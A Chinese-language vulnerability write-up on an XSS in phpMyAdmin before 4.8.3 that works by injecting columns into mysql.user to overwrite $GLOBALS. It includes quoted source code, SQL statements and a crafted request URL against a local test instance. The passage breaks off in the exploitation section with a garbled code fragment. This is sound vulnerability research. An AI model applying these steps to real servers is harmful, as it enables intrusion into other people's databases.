Phpmyadmin___4.8.3_XSS

# Phpmyadmin < 4.8.3 XSS ======================= 一、漏洞简介 ------------ 最近在审计phpmyadmin的时候发现了一个XSS漏洞,后来发现在版本大于4.8.3以后该漏洞被修复了。看了下之前公布的CVE,有个CVE和此漏洞很相似但没有漏洞细节,于是乎便有了这篇文章。 二、漏洞影响 ------------ Phpmyadmin \< 4.8.3 三、复现过程 ------------ 在审计phpmyadmin时,我比较关注\$GLOBALS全局变量,该变量存储了本次请求的信息、phpmyadmin基本设置信息和phpmyadmin配置文件信息等。先看看/libraries/classes/Server/Privileges.php::3977的以下代码。 foreach ($row as $key => $value) {
$GLOBALS[$key] = $value;
}

很明显,该处是\$GLOBALS的赋值操作,而\$row来自于对mysql.user表的查询结果,且\$user\_host\_condition可控,/libraries/classes/Server/Privileges.php::3966行

public static function getDataForChangeOrCopyUser()
{
$queries = null;
$password = null;

if (isset($_REQUEST[‘change_copy’])) {
$user_host_condition = ‘ WHERE `User` = ‘
. “‘” . $GLOBALS[‘dbi’]->escapeString($_REQUEST[‘old_username’]) . “‘”
. ‘ AND `Host` = ‘
. “‘” . $GLOBALS[‘dbi’]->escapeString($_REQUEST[‘old_hostname’]) . “‘;”;
$row = $GLOBALS[‘dbi’]->fetchSingleRow(
‘SELECT * FROM `mysql`.`user` ‘ . $user_host_condition
);

既然上述代码会将mysql.user中符合条件的行的列名和值写入\$GLOBALS中,我们便可通过添加mysql.user的列来往\$GLOBALS中写入任意键值。清楚思路后,我们看看哪里调用了Privileges.php的getDataForChangeOrCopyUser函数,发现在server\_privileges.php::178中对该函数有调用。

list($queries, $password) = Privileges::getDataForChangeOrCopyUser();

这时我们来试试向\$GLOBALS中写一个\$GLOBALS\[\’xz\’\]=\’aliyun\’。进入mysql库,执行以下2条sql语句向user表添加xz字段,并插入一条数据。

ALTER TABLE user ADD xz varchar(255);
INSERT INTO `user` (`Host`, `User`, `Password`, `Select_priv`, `Insert_priv`, `Update_priv`, `Delete_priv`, `Create_priv`, `Drop_priv`, `Reload_priv`, `Shutdown_priv`, `Process_priv`, `File_priv`, `Grant_priv`, `References_priv`, `Index_priv`, `Alter_priv`, `Show_db_priv`, `Super_priv`, `Create_tmp_table_priv`, `Lock_tables_priv`, `Execute_priv`, `Repl_slave_priv`, `Repl_client_priv`, `Create_view_priv`, `Show_view_priv`, `Create_routine_priv`, `Alter_routine_priv`, `Create_user_priv`, `Event_priv`, `Trigger_priv`, `Create_tablespace_priv`, `ssl_type`, `max_questions`, `max_updates`, `max_connections`, `max_user_connections`, `plugin`, `authentication_string`, `xz`) VALUES (‘127.0.0.1’, ‘test’, ‘*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B’, ‘Y’, ‘Y’, ‘Y’, ‘Y’, ‘Y’, ‘Y’, ‘Y’, ‘Y’, ‘Y’, ‘Y’, ‘Y’, ‘Y’, ‘Y’, ‘Y’, ‘Y’, ‘Y’, ‘Y’, ‘Y’, ‘Y’, ‘Y’, ‘Y’, ‘Y’, ‘Y’, ‘Y’, ‘Y’, ‘Y’, ‘Y’, ‘Y’, ‘Y’, ”, ‘0’, ‘0’, ‘0’, ‘0’, ”, ”, ‘aliyun’);

在/libraries/classes/Server/Privileges.php::3980下断点

$serverVersion = $GLOBALS[‘dbi’]->getVersion();

然后构造http://127.0.0.1/phpMyAdmin-4.8.2/server\_privileges.php?change\_copy=aa&old\_username=test&old\_hostname=127.0.0.1&mode=5
参数请求,change\_copy随便给个参数即可,mode必须大于4否则新添加的数据会被删除。

![1.png](/static/qingy/Phpmyadmin___4.8.3_XSS/img/rId24.png)可以看到\$GLOBALS\[\’xz\’\]=\’aliyun\’已经成功赋值。

### 利用构造

有了可控的\$GLOBALS变量后,我们需要寻找触发点。要在一次请求便触发漏洞,公共页面是首选目标。通过全局搜索\$GLOBALS变量,发现在libraries/classes/Navigation/NavigationTree.php::1272的renderDbSelect函数中有使用未过滤的\$GLOBALS变量。

$retval .= ‘

‘;
$retval .= ‘

‘;
$retval .= Url::getHiddenFields($url_params);
$retval .= ‘
用户名或邮箱
登录密码
找回密码
使用社交账号登录即表示同意用户协议隐私声明
设置用户名
邮箱
验证码
设置密码
重复密码
扫码登录即表示同意用户协议隐私声明